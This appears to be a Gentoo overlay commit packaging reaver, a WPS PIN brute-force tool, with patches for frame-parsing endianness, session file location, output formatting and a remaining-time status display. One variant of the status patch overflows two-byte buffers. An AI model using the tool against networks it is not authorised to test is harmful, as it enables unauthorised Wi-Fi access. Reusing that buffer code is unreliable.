++ __cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP)
++ && (assoc_frame->status == __cpu_to_le16(ASSOCIATION_SUCCESS)))
+ {
+ ret_val = ASSOCIATE_OK;
+ break;
+@@ -455,13 +467,14 @@ enum encryption_type supported_encryption(const u_char *packet, size_t len)
+ if(len > MIN_BEACON_SIZE)
+ {
+ rt_header = (struct radio_tap_header *) radio_header(packet, len);
+- beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header));
+- offset = tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header));
++ offset = tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+
+ tag_len = len - tag_offset;
+ tag_data = (const u_char *) (packet + tag_offset);
+
+- if((beacon->capability & CAPABILITY_WEP) == CAPABILITY_WEP)
++ if((__le16_to_cpu(beacon->capability) & CAPABILITY_WEP) == CAPABILITY_WEP)
+ {
+ enc = WEP;
+
+@@ -509,7 +522,7 @@ int parse_beacon_tags(const u_char *packet, size_t len)
+ struct radio_tap_header *rt_header = NULL;
+
+ rt_header = (struct radio_tap_header *) radio_header(packet, len);
+- tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
++ tag_offset = __le16_to_cpu(rt_header->len) + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+
+ if(tag_offset < len)
+ {
+@@ -548,7 +561,7 @@ int parse_beacon_tags(const u_char *packet, size_t len)
+ {
+ if(ie_len == 1)
+ {
+- memcpy((int *) &channel, channel_data, ie_len);
++ channel = *(uint8_t*)channel_data;
+ }
+ free(channel_data);
+ }
+@@ -603,13 +616,13 @@ int check_fcs(const u_char *packet, size_t len)
+ if(len > 4)
+ {
+ /* Get the packet's reported FCS (last 4 bytes of the packet) */
+- memcpy((uint32_t *) &fcs, (packet + (len-4)), 4);
++ fcs = __le32_to_cpu(*(uint32_t*)(packet + (len-4)));
+
+ /* FCS is not calculated over the radio tap header */
+ if(has_rt_header())
+ {
+ rt_header = (struct radio_tap_header *) packet;
+- offset += rt_header->len;
++ offset += __le16_to_cpu(rt_header->len);
+ }
+
+ if(len > offset)
+diff --git a/src/builder.c b/src/builder.c
+index 37f2de7..6bf89e7 100644
+--- a/src/builder.c
++++ b/src/builder.c
+@@ -44,9 +44,8 @@ const void *build_radio_tap_header(size_t *len)
+ memset((void *) buf, 0, sizeof(struct radio_tap_header));
+ rt_header = (struct radio_tap_header *) buf;
+
+- rt_header->len = sizeof(struct radio_tap_header);
+-
+- *len = rt_header->len;
++ *len = sizeof(struct radio_tap_header);
++ rt_header->len = __cpu_to_le16(*len);
+ }
+
+ return buf;
+@@ -67,9 +66,9 @@ const void *build_dot11_frame_header(uint16_t fc, size_t *len)
+
+ frag_seq += SEQ_MASK;
+
+- header->duration = DEFAULT_DURATION;
+- memcpy((void *) &header->fc, (void *) &fc, sizeof(struct frame_control));
+- header->frag_seq = frag_seq;
++ header->duration = __cpu_to_le16(DEFAULT_DURATION);
++ header->fc = __cpu_to_le16(fc);
++ header->frag_seq = __cpu_to_le16(frag_seq);
+
+ memcpy((void *) header->addr1, get_bssid(), MAC_ADDR_LEN);
+ memcpy((void *) header->addr2, get_mac(), MAC_ADDR_LEN);
+@@ -91,8 +90,8 @@ const void *build_authentication_management_frame(size_t *len)
+ memset((void *) buf, 0, *len);
+ frame = (struct authentication_management_frame *) buf;
+
+- frame->algorithm = OPEN_SYSTEM;
+- frame->sequence = 1;
++ frame->algorithm = __cpu_to_le16(OPEN_SYSTEM);
++ frame->sequence = __cpu_to_le16(1);
+ frame->status = 0;
+ }
+
+@@ -111,8 +110,8 @@ const void *build_association_management_frame(size_t *len)
+ memset((void *) buf, 0, *len);
+ frame = (struct association_request_management_frame *) buf;
+
+- frame->capability = get_ap_capability();
+- frame->listen_interval = LISTEN_INTERVAL;
++ frame->capability = __cpu_to_le16(get_ap_capability());
++ frame->listen_interval = __cpu_to_le16(LISTEN_INTERVAL);
+ }
+
+ return buf;
+@@ -133,7 +132,7 @@ const void *build_llc_header(size_t *len)
+ header->dsap = LLC_SNAP;
+ header->ssap = LLC_SNAP;
+ header->control_field = UNNUMBERED_FRAME;
+- header->type = DOT1X_AUTHENTICATION;
++ header->type = __cpu_to_be16(DOT1X_AUTHENTICATION);
+
+ }
+
+@@ -279,7 +278,7 @@ const void *build_wfa_header(uint8_t op_code, size_t *len)
+ header = (struct wfa_expanded_header *) buf;
+
+ memcpy(header->id, WFA_VENDOR_ID, sizeof(header->id));
+- header->type = SIMPLE_CONFIG;
++ header->type = __cpu_to_be32(SIMPLE_CONFIG);
+ header->opcode = op_code;
+ }
+
+diff --git a/src/defs.h b/src/defs.h
+index b2f45ea..0c628e7 100644
+--- a/src/defs.h
++++ b/src/defs.h
+@@ -41,6 +41,7 @@
+ #include <string.h>
+ #include <time.h>
+ #include <pcap.h>
++#include <asm/byteorder.h>
+
+ #include "wps.h"
+
+@@ -65,10 +66,10 @@
+ #define MANAGEMENT_FRAME 0x00
+ #define SUBTYPE_BEACON 0x08
+
+-#define DOT1X_AUTHENTICATION 0x8E88
++#define DOT1X_AUTHENTICATION 0x888E
+ #define DOT1X_EAP_PACKET 0x00
+
+-#define SIMPLE_CONFIG 0x01000000
++#define SIMPLE_CONFIG 0x00000001
+
+ #define P1_SIZE 10000
+ #define P2_SIZE 1000
+@@ -282,66 +283,111 @@ enum wfa_elements
+ WEP_TRANSMIT_KEY = 0x10064
+ };
+
++#define IEEE80211_FCTL_VERS 0x0003
++#define IEEE80211_FCTL_FTYPE 0x000c
++#define IEEE80211_FCTL_STYPE 0x00f0
++#define IEEE80211_FCTL_TODS 0x0100
++#define IEEE80211_FCTL_FROMDS 0x0200
++#define IEEE80211_FCTL_MOREFRAGS 0x0400
++#define IEEE80211_FCTL_RETRY 0x0800
++#define IEEE80211_FCTL_PM 0x1000
++#define IEEE80211_FCTL_MOREDATA 0x2000
++#define IEEE80211_FCTL_PROTECTED 0x4000
++#define IEEE80211_FCTL_ORDER 0x8000
++
++#define IEEE80211_SCTL_FRAG 0x000F
++#define IEEE80211_SCTL_SEQ 0xFFF0
++
++#define IEEE80211_FTYPE_MGMT 0x0000
++#define IEEE80211_FTYPE_CTL 0x0004
++#define IEEE80211_FTYPE_DATA 0x0008
++
++/* management */
++#define IEEE80211_STYPE_ASSOC_REQ 0x0000
++#define IEEE80211_STYPE_ASSOC_RESP 0x0010
++#define IEEE80211_STYPE_REASSOC_REQ 0x0020
++#define IEEE80211_STYPE_REASSOC_RESP 0x0030
++#define IEEE80211_STYPE_PROBE_REQ 0x0040
++#define IEEE80211_STYPE_PROBE_RESP 0x0050
++#define IEEE80211_STYPE_BEACON 0x0080
++#define IEEE80211_STYPE_ATIM 0x0090
++#define IEEE80211_STYPE_DISASSOC 0x00A0
++#define IEEE80211_STYPE_AUTH 0x00B0
++#define IEEE80211_STYPE_DEAUTH 0x00C0
++#define IEEE80211_STYPE_ACTION 0x00D0
++
++/* control */
++#define IEEE80211_STYPE_BACK_REQ 0x0080
++#define IEEE80211_STYPE_BACK 0x0090
++#define IEEE80211_STYPE_PSPOLL 0x00A0
++#define IEEE80211_STYPE_RTS 0x00B0
++#define IEEE80211_STYPE_CTS 0x00C0
++#define IEEE80211_STYPE_ACK 0x00D0
++#define IEEE80211_STYPE_CFEND 0x00E0
++#define IEEE80211_STYPE_CFENDACK 0x00F0
++
++/* data */
++#define IEEE80211_STYPE_DATA 0x0000
++#define IEEE80211_STYPE_DATA_CFACK 0x0010
++#define IEEE80211_STYPE_DATA_CFPOLL 0x0020
++#define IEEE80211_STYPE_DATA_CFACKPOLL 0x0030
++#define IEEE80211_STYPE_NULLFUNC 0x0040
++#define IEEE80211_STYPE_CFACK 0x0050
++#define IEEE80211_STYPE_CFPOLL 0x0060
++#define IEEE80211_STYPE_CFACKPOLL 0x0070
++#define IEEE80211_STYPE_QOS_DATA 0x0080
++#define IEEE80211_STYPE_QOS_DATA_CFACK 0x0090
++#define IEEE80211_STYPE_QOS_DATA_CFPOLL 0x00A0
++#define IEEE80211_STYPE_QOS_DATA_CFACKPOLL 0x00B0
++#define IEEE80211_STYPE_QOS_NULLFUNC 0x00C0
++#define IEEE80211_STYPE_QOS_CFACK 0x00D0
++#define IEEE80211_STYPE_QOS_CFPOLL 0x00E0
++#define IEEE80211_STYPE_QOS_CFACKPOLL 0x00F0
++
+ #pragma pack(1)
+ struct radio_tap_header
+ {
+ uint8_t revision;
+ uint8_t pad;
+- uint16_t len;
+- uint32_t flags;
+-};
+-
+-struct frame_control
+-{
+- unsigned version : 2;
+- unsigned type : 2;
+- unsigned sub_type : 4;
+-
+- unsigned to_ds : 1;
+- unsigned from_ds : 1;
+- unsigned more_frag : 1;
+- unsigned retry : 1;
+- unsigned pwr_mgt : 1;
+- unsigned more_data : 1;
+- unsigned protected_frame : 1;
+- unsigned order : 1;
++ __le16 len;
++ __le32 flags;
+ };
+
+ struct dot11_frame_header
+ {
+- struct frame_control fc;
+- uint16_t duration;
++ __le16 fc;
++ __le16 duration;
+ unsigned char addr1[MAC_ADDR_LEN];
+ unsigned char addr2[MAC_ADDR_LEN];
+ unsigned char addr3[MAC_ADDR_LEN];
+- uint16_t frag_seq;
++ __le16 frag_seq;
+ };
+
+ struct authentication_management_frame
+ {
+- uint16_t algorithm;
+- uint16_t sequence;
+- uint16_t status;
++ __le16 algorithm;
++ __le16 sequence;
++ __le16 status;
+ };
+
+ struct association_request_management_frame
+ {
+- uint16_t capability;
+- uint16_t listen_interval;
++ __le16 capability;
++ __le16 listen_interval;
+ };
+
+ struct association_response_management_frame
+ {
+- uint16_t capability;
+- uint16_t status;
+- uint16_t id;
++ __le16 capability;
++ __le16 status;
++ __le16 id;
+ };
+
+ struct beacon_management_frame
+ {
+ unsigned char timestamp[TIMESTAMP_LEN];
+- uint16_t beacon_interval;
+- uint16_t capability;
++ __le16 beacon_interval;
++ __le16 capability;
+ };
+
+ struct llc_header
+@@ -350,7 +396,7 @@ struct llc_header
+ uint8_t ssap;
+ uint8_t control_field;
+ unsigned char org_code[3];
+- uint16_t type;
++ __be16 type;
+ };
+
+ struct dot1X_header
+@@ -371,7 +417,7 @@ struct eap_header
+ struct wfa_expanded_header
+ {
+ unsigned char id[3];
+- uint32_t type;
++ __be32 type;
+ uint8_t opcode;
+ uint8_t flags;
+ };
+diff --git a/src/exchange.c b/src/exchange.c
+index 23c87e9..4f9a82b 100644
+--- a/src/exchange.c
++++ b/src/exchange.c
+@@ -306,26 +306,27 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+
+ /* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */
+ rt_header = (struct radio_tap_header *) packet;
+- frame_header = (struct dot11_frame_header *) (packet+rt_header->len);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ frame_header = (struct dot11_frame_header *) (packet+rt_header_len);
+
+ /* Does the BSSID/source address match our target BSSID? */
+ if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0)
+ {
+ /* Is this a data packet sent to our MAC address? */
+- if(frame_header->fc.type == DATA_FRAME &&
+- frame_header->fc.sub_type == SUBTYPE_DATA &&
+- (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0))
++ if (((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA)) &&
++ (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0))
+ {
+ llc = (struct llc_header *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header)
+ );
+
+ /* All packets in our exchanges will be 802.1x */
+- if(llc->type == DOT1X_AUTHENTICATION)
++ if(llc->type == __cpu_to_be16(DOT1X_AUTHENTICATION))
+ {
+ dot1x = (struct dot1X_header *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header) +
+ sizeof(struct llc_header)
+ );
+@@ -334,7 +335,7 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ if(dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE))
+ {
+ eap = (struct eap_header *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header) +
+ sizeof(struct llc_header) +
+ sizeof(struct dot1X_header)
+@@ -366,7 +367,7 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ else if((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE))
+ {
+ wfa = (struct wfa_expanded_header *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header) +
+ sizeof(struct llc_header) +
+ sizeof(struct dot1X_header) +
+@@ -374,14 +375,14 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ );
+
+ /* Verify that this is a WPS message */
+- if(wfa->type == SIMPLE_CONFIG)
++ if(wfa->type == __cpu_to_be32(SIMPLE_CONFIG))
+ {
+ wps_msg_len = (size_t) ntohs(eap->len) -
+ sizeof(struct eap_header) -
+ sizeof(struct wfa_expanded_header);
+
+ wps_msg = (const void *) (packet +
+- rt_header->len +
++ rt_header_len +
+ sizeof(struct dot11_frame_header) +
+ sizeof(struct llc_header) +
+ sizeof(struct dot1X_header) +
+diff --git a/src/wpsmon.c b/src/wpsmon.c
+index d976924..22a394f 100644
+--- a/src/wpsmon.c
++++ b/src/wpsmon.c
+@@ -295,7 +295,8 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ }
+
+ rt_header = (struct radio_tap_header *) radio_header(packet, header->len);
+- frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
+
+ /* If a specific BSSID was specified, only parse packets from that BSSID */
+ if(!is_target(frame_header))
+@@ -323,15 +324,17 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ channel_changed = 1;
+ }
+
+- if(frame_header->fc.sub_type == PROBE_RESPONSE ||
+- frame_header->fc.sub_type == SUBTYPE_BEACON)
++ unsigned fsub_type = frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE);
++
++ if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP) ||
++ fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON))
+ {
+ wps_parsed = parse_wps_parameters(packet, header->len, wps);
+ }
+
+ if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE))
+ {
+- if(frame_header->fc.sub_type == SUBTYPE_BEACON &&
++ if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON) &&
+ mode == SCAN &&
+ !passive &&
+ should_probe(bssid))
+@@ -369,7 +372,7 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ * If there was no WPS information, then the AP does not support WPS and we should ignore it from here on.
+ * If this was a probe response, then we've gotten all WPS info we can get from this AP and should ignore it from here on.
+ */
+- if(!wps_parsed || frame_header->fc.sub_type == PROBE_RESPONSE)
++ if(!wps_parsed || fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP))
+ {
+ mark_ap_complete(bssid);
+ }
+--
+1.7.7
+
diff --git a/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch b/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch
new file mode 100644
index 00000000..dd1bb427
--- /dev/null
+++ b/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch
@@ -0,0 +1,53 @@
+From cd444949f3176790101b8bdc9656831a03d8c01d Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Tue, 10 Jul 2012 11:13:29 +0400
+Subject: [PATCH 2/3] Use the current directory for storing and loading
+ sessions
+
+This allows the user to always explicitely choose (by changing the
+current directory before launching the program) where the session
+files should go. Useful e.g. to avoid hogging the precious space on
+embedded devices, just cd /tmp before starting the app.
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/session.c | 16 +++-------------
+ 1 files changed, 3 insertions(+), 13 deletions(-)
+
+diff --git a/src/session.c b/src/session.c
+index d3af0c3..308f213 100644
+--- a/src/session.c
++++ b/src/session.c
+@@ -62,7 +62,7 @@ int restore_session()
+ memset(file, 0, FILENAME_MAX);
+
+ bssid = mac2str(get_bssid(), '\0');
+- snprintf(file, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT);
++ snprintf(file, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+ free(bssid);
+ }
+
+@@ -199,18 +199,8 @@ int save_session()
+ }
+ else
+ {
+- /*
+- * If the configuration directory exists, save the session file there; else, save it to the
+- * current working directory.
+- */
+- if(configuration_directory_exists())
+- {
+- snprintf((char *) &file_name, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT);
+- }
+- else
+- {
+- snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+- }
++ /* save session to the current directory */
++ snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+ }
+
+ /* Don't bother saving anything if nothing has been done */
+--
+1.7.7
+
diff --git a/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch b/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch
new file mode 100644
index 00000000..64b290b5
--- /dev/null
+++ b/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch
@@ -0,0 +1,38 @@
+From 638bb8d70d6c7e5dc99975e0bf57d8ce0455e2cc Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Tue, 10 Jul 2012 11:25:00 +0400
+Subject: [PATCH 3/3] wash/wpsmon: use less useless spaces in output to fit
+ narrow terminals
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/wpsmon.c | 6 +++---
+ 1 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/wpsmon.c b/src/wpsmon.c
+index 22a394f..e0948b3 100644
+--- a/src/wpsmon.c
++++ b/src/wpsmon.c
+@@ -262,8 +262,8 @@ void monitor(char *bssid, int passive, int source, int channel, int mode)
+
+ if(!header_printed)
+ {
+- cprintf(INFO, "BSSID Channel RSSI WPS Version WPS Locked ESSID\n");
+- cprintf(INFO, "---------------------------------------------------------------------------------------------------------------\n");
++ cprintf(INFO, "BSSID Channel RSSI WPS Version WPS Locked ESSID\n");
++ cprintf(INFO, "--------------------------------------------------------------------------------------\n");
+ header_printed = 1;
+ }
+
+@@ -360,7 +360,7 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ break;
+ }
+
+- cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid);
++ cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid);
+ }
+
+ if(probe_sent)
+--
+1.7.7
+
diff --git a/net-wireless/reaver/files/0004-wash-probe-request.patch b/net-wireless/reaver/files/0004-wash-probe-request.patch
new file mode 100644
index 00000000..6cb5a678
--- /dev/null
+++ b/net-wireless/reaver/files/0004-wash-probe-request.patch
@@ -0,0 +1,31 @@
+diff -urN reaver-1.4/src/wpsmon.c reaver-wps-read-only/src/wpsmon.c
+--- reaver-1.4/src/wpsmon.c 2012-01-18 17:02:39.000000000 +0800
++++ reaver-wps-read-only/src/wpsmon.c 2012-10-10 06:45:52.271329168 +0800
+@@ -132,6 +132,11 @@
+ usage(argv[0]);
+ goto end;
+ }
++ else if(get_iface())
++ {
++ /* Get the MAC address of the specified interface */
++ read_iface_mac();
++ }
+
+ if(get_iface() && source == PCAP_FILE)
+ {
+@@ -300,6 +305,7 @@
+
+ set_ssid(NULL);
+ bssid = (char *) mac2str(frame_header->addr3, ':');
++ set_bssid((unsigned char *) frame_header->addr3);
+
+ if(bssid)
+ {
+@@ -383,6 +389,7 @@
+
+ end:
+ if(wps) free(wps);
++ set_bssid((unsigned char *) NULL_MAC);
+
+ return;
+ }
diff --git a/net-wireless/reaver/files/0005-soreau-show-status-r2.patch b/net-wireless/reaver/files/0005-soreau-show-status-r2.patch
new file mode 100644
index 00000000..e55b6929
--- /dev/null
+++ b/net-wireless/reaver/files/0005-soreau-show-status-r2.patch
@@ -0,0 +1,97 @@
+Index: cracker.c
+===================================================================
+--- cracker.c (revision 113)
++++ cracker.c (working copy)
+@@ -285,18 +285,65 @@
+ }
+ }
+
++char *get_max_time_remaining(int average, int attempts_remaining)
++{
++ char *max_time, hours[8], minutes[3], seconds[3];
++ int max_hours = 0, max_minutes = 0, max_seconds = 0;
++
++ max_time = malloc(16);
++
++ if(!max_time)
++ exit(-1);
++
++ if(average)
++ {
++ max_seconds = attempts_remaining * average;
++ if(max_seconds > 60)
++ {
++ max_minutes = max_seconds / 60;
++ max_seconds -= max_minutes * 60;
++ }
++ if(max_minutes > 60)
++ {
++ max_hours = max_minutes / 60;
++ max_minutes -= max_hours * 60;
++ }
++
++ if(max_seconds < 0 || max_minutes < 0 || max_hours < 0)
++ {
++ free(max_time);
++ return NULL;
++ }
++
++ sprintf(hours, "%d", max_hours);
++ sprintf(minutes, "%s%d", max_minutes > 9 ? "" : "0", max_minutes);
++ sprintf(seconds, "%s%d", max_seconds > 9 ? "" : "0", max_seconds);
++
++ sprintf(max_time, "%s:%s:%s", hours, minutes, seconds);
++ }
++ else
++ {
++ free(max_time);
++ return NULL;
++ }
++
++ return max_time;
++}
++
+ /* Displays the status and rate of cracking */
+ void display_status(float pin_count, time_t start_time)
+ {
+ float percentage = 0;
+ int attempts = 0, average = 0;
++ int attempts_remaining = 0;
+ time_t now = 0, diff = 0;
+ struct tm *tm_p = NULL;
+- char time_s[256] = { 0 };
++ char time_s[256] = { 0 }, *max_time;
+
+ if(get_key_status() == KEY1_WIP)
+ {
+ attempts = get_p1_index() + get_p2_index();
++ attempts_remaining = 11000 - attempts;
+ }
+ /*
+ * If we've found the first half of the key, then the entire key1 keyspace
+@@ -305,10 +352,12 @@
+ else if(get_key_status() == KEY2_WIP)
+ {
+ attempts = P1_SIZE + get_p2_index();
++ attempts_remaining = 11000 - attempts;
+ }
+ else if(get_key_status() == KEY_DONE)
+ {
+ attempts = P1_SIZE + P2_SIZE;
++ attempts_remaining = 0;
+ }
+
+ percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100);
+@@ -335,7 +384,12 @@
+ average = 0;
+ }
+
++ max_time = get_max_time_remaining(average, attempts_remaining);
++
+ cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average);
++ cprintf(INFO, "[+] Max time remaining at this rate: %s (%d pins left to try)\n", max_time ? max_time : "(undetermined)", attempts_remaining);
+
++ free(max_time);
++
+ return;
+ }
diff --git a/net-wireless/reaver/files/0005-soreau-show-status.patch b/net-wireless/reaver/files/0005-soreau-show-status.patch
new file mode 100644
index 00000000..e6f2799d
--- /dev/null
+++ b/net-wireless/reaver/files/0005-soreau-show-status.patch
@@ -0,0 +1,97 @@
+Index: cracker.c
+===================================================================
+--- cracker.c (revision 113)
++++ cracker.c (working copy)
+@@ -285,18 +285,65 @@
+ }
+ }
+
++char *get_max_time_remaining(int average, int attempts_remaining)
++{
++ char *max_time, hours[12], minutes[2], seconds[2];
++ int max_hours = 0, max_minutes = 0, max_seconds = 0;
++
++ max_time = malloc(16);
++
++ if(!max_time)
++ exit(-1);
++
++ if(average)
++ {
++ max_seconds = attempts_remaining * average;
++ if(max_seconds > 60)
++ {
++ max_minutes = max_seconds / 60;
++ max_seconds -= max_minutes * 60;
++ }
++ if(max_minutes > 60)
++ {
++ max_hours = max_minutes / 60;
++ max_minutes -= max_hours * 60;
++ }
++
++ if(max_seconds < 0 || max_minutes < 0 || max_hours < 0)
++ {
++ free(max_time);
++ return NULL;
++ }
++
++ sprintf(hours, "%d", max_hours);
++ sprintf(minutes, "%s%d", max_minutes > 9 ? "" : "0", max_minutes);
++ sprintf(seconds, "%s%d", max_seconds > 9 ? "" : "0", max_seconds);
++
++ sprintf(max_time, "%s:%s:%s", hours, minutes, seconds);
++ }
++ else
++ {
++ free(max_time);
++ return NULL;
++ }
++
++ return max_time;
++}
++
+ /* Displays the status and rate of cracking */
+ void display_status(float pin_count, time_t start_time)
+ {
+ float percentage = 0;
+ int attempts = 0, average = 0;
++ int attempts_remaining = 0;
+ time_t now = 0, diff = 0;
+ struct tm *tm_p = NULL;
+- char time_s[256] = { 0 };
++ char time_s[256] = { 0 }, *max_time;
+
+ if(get_key_status() == KEY1_WIP)
+ {
+ attempts = get_p1_index() + get_p2_index();
++ attempts_remaining = 11000 - attempts;
+ }
+ /*
+ * If we've found the first half of the key, then the entire key1 keyspace
+@@ -305,10 +352,12 @@
+ else if(get_key_status() == KEY2_WIP)
+ {
+ attempts = P1_SIZE + get_p2_index();
++ attempts_remaining = 11000 - attempts;
+ }
+ else if(get_key_status() == KEY_DONE)
+ {
+ attempts = P1_SIZE + P2_SIZE;
++ attempts_remaining = 0;
+ }
+
+ percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100);
+@@ -335,7 +384,12 @@
+ average = 0;
+ }
+
++ max_time = get_max_time_remaining(average, attempts_remaining);
++
+ cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average);
++ cprintf(INFO, "[+] Max time remaining at this rate: %s (%d pins left to try)\n", max_time ? max_time : "(undetermined)", attempts_remaining);
+
++ free(max_time);
++
+ return;
+ } \ No newline at end of file
diff --git a/net-wireless/reaver/metadata.xml b/net-wireless/reaver/metadata.xml
new file mode 100644
index 00000000..a42c02e9
--- /dev/null
+++ b/net-wireless/reaver/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<pkgmetadata>
+<maintainer>
+ <email>oleg@kaa.org.ua</email>
+ <name>Oleg Kravchenko</name>
+</maintainer>
+<maintainer>
+ <email>maksbotan@gentoo.org</email>
+ <name>Maxim Koltsov</name>
+</maintainer>
+</pkgmetadata>
diff --git a/net-wireless/reaver/reaver-1.4-r1.ebuild b/net-wireless/reaver/reaver-1.4-r1.ebuild
new file mode 100644
index 00000000..dd0eb34f
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+ dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+ epatch "${FILESDIR}"/000[1-4]*.patch
+}
+
+src_install() {
+ dobin wash reaver
+
+ insinto "/etc/reaver"
+ doins reaver.db
+
+ doman ../docs/reaver.1.gz
+ dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/reaver/reaver-1.4-r2.ebuild b/net-wireless/reaver/reaver-1.4-r2.ebuild
new file mode 100644
index 00000000..71fa4ad9
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r2.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+EAPI=4
+
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit autotools-utils eutils
+
+DESCRIPTION="Brute force attack against Wifi Protected Setup"
+HOMEPAGE="http://code.google.com/p/reaver-wps/"
+SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap
+ dev-db/sqlite:3"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}/${P}/src"
+
+src_prepare() {
+ epatch "${FILESDIR}"/000[1-4]*.patch
+ #http://code.google.com/p/reaver-wps/issues/detail?id=420
+ epatch "${FILESDIR}"/0005*.patch
+}
+
+src_install() {
+ dobin wash reaver
+
+ insinto "/etc/reaver"
+ doins reaver.db
+
+ doman ../docs/reaver.1.gz
+ dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH
+}
diff --git a/net-wireless/reaver/reaver-1.4-r3.ebuild b/net-wireless/reaver/reaver-1.4-r3.ebuild
new file mode 100644
index 00000000..c7fcf49a
--- /dev/null
+++ b/net-wireless/reaver/reaver-1.4-r3.ebuild
